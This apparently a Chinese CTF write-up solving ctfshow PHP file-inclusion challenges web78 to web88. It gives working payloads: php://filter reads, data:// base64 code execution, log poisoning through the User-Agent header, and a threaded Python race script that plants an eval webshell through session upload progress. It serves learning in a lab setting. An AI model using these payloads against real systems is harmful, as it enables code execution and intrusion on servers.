ctfshow 文件包含

说明

从零开始学 主要为了学知识

web78

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

php伪协议读取

?file=php://filter/convert.base64-encode/resource=flag.php

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了

convert.* 转换过滤器
convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据

拓展
XXE
php://filter

web79

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

直接调用hackbar LFI模块 很方便

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

web80,81

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

emm… 把php和data都ban了

日志包含配合UA头解决战斗

apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
?file=/var/log/nginx/access.log

按照计划 本该结束战斗 结果出了岔子

User-Agent: <?php system("ls"); ?>

貌似 " 读不出来? 。。。。。。

User-Agent: <?php system('ls'); ?>

就欧凯了。。。

web82

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

session.upload_progress相关文章

import requests
import io
import threading

url = "http://d60f9552-d734-4ad9-896b-afa360bb630c.challenge.ctf.show:8080/"
sessionID = "flag"
data = {"cmd": "system('cat fl0g.php');"}
def write(session):
    while True:
        f = io.BytesIO(b'a'*1024*50)
        resp = session.post(url=url,data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST["cmd"]);?>'},files={'file':('flag.txt',f)},cookies={'PHPSESSID':sessionID})
def read(session):
    while True:
        resp = session.post(url='http://d60f9552-d734-4ad9-896b-afa360bb630c.challenge.ctf.show:8080/?file=/tmp/sess_flag',data=data)
        if 'flag.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("=========retry==========")
if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1,5):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1,5):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

web84~86

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    system("rm -rf /tmp/*");
    include($file);
}else{
    highlight_file(__FILE__);
}

rm -rf /tmp/* 直接把 tmp下的文件都给删掉。emmm
貌似没什么用 还是跟82一样

82 - 86都可用一个脚本。。。

web87

php://filter 是一种设计用来允许过滤器程序在打开时成为流的封装协议。这对于单独具有完整功能的文件函数非常有用,否则就没有机会在读取内容之前将过滤器应用于流之上。

<?php

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

    
}else{
    highlight_file(__FILE__);
}

注意这里

urldecode($file)
file=php://filter/write=convert.base64-decode/resource=1.php

意思是对写入1.php的内容base64-decode
so

<?php die('大佬别秀了');?>就只剩下 phpdie

base64-deode相当于

$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);

base64算法解码时是4个byte一组 所以要加上两个东东

emmm 因为过滤了php 所以要全编码两次

web88

<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了. 很重要 日志包含用不了啦
emmm 去掉 = 不影响

?file=data://text/plain;base64,PD89IHN5c3RlbSgnY2F0IGYqJyk7Pz4
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值